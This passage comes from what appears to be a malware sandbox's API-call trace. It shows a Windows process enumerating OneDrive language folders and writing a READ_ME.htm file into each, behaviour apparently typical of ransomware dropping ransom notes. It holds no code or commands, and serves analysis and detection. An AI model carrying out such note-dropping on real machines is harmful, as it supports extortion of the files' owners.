"c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\he\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.516] SetErrorMode (uMode=0x0) returned 0x1 [0145.516] GetFileType (hFile=0x1d0) returned 0x1 [0145.516] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ae658*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28ae658*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi", lpFilePart=0x0) returned 0x45 [0145.518] SetErrorMode (uMode=0x1) returned 0x0 [0145.518] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hi\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef632850, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef632850, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.520] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.520] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.520] SetErrorMode (uMode=0x0) returned 0x1 [0145.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi", lpFilePart=0x0) returned 0x45 [0145.520] SetErrorMode (uMode=0x1) returned 0x0 [0145.520] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hi\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef632850, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef632850, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.521] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.521] SetErrorMode (uMode=0x0) returned 0x1 [0145.521] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.521] SetErrorMode (uMode=0x1) returned 0x0 [0145.521] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hi\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hi\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.522] SetErrorMode (uMode=0x0) returned 0x1 [0145.522] GetFileType (hFile=0x1d0) returned 0x1 [0145.522] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b4c40*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28b4c40*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr", lpFilePart=0x0) returned 0x45 [0145.523] SetErrorMode (uMode=0x1) returned 0x0 [0145.524] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hr\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.524] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.524] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.524] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.524] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.525] SetErrorMode (uMode=0x0) returned 0x1 [0145.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr", lpFilePart=0x0) returned 0x45 [0145.525] SetErrorMode (uMode=0x1) returned 0x0 [0145.525] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hr\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.525] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.525] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.525] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.525] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.525] SetErrorMode (uMode=0x0) returned 0x1 [0145.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.526] SetErrorMode (uMode=0x1) returned 0x0 [0145.526] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hr\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.528] SetErrorMode (uMode=0x0) returned 0x1 [0145.528] GetFileType (hFile=0x1d0) returned 0x1 [0145.529] WriteFile (in: hFile=0x1d0, lpBuffer=0x28bb228*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28bb228*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu", lpFilePart=0x0) returned 0x45 [0145.530] SetErrorMode (uMode=0x1) returned 0x0 [0145.530] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.531] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.532] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.532] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.532] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.532] SetErrorMode (uMode=0x0) returned 0x1 [0145.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu", lpFilePart=0x0) returned 0x45 [0145.532] SetErrorMode (uMode=0x1) returned 0x0 [0145.532] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.533] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.533] SetErrorMode (uMode=0x0) returned 0x1 [0145.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.533] SetErrorMode (uMode=0x1) returned 0x0 [0145.534] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hu\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.534] SetErrorMode (uMode=0x0) returned 0x1 [0145.534] GetFileType (hFile=0x1d0) returned 0x1 [0145.534] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c1810*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28c1810*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy", lpFilePart=0x0) returned 0x45 [0145.536] SetErrorMode (uMode=0x1) returned 0x0 [0145.537] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hy\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.538] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.538] SetErrorMode (uMode=0x0) returned 0x1 [0145.539] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy", lpFilePart=0x0) returned 0x45 [0145.539] SetErrorMode (uMode=0x1) returned 0x0 [0145.539] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hy\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, 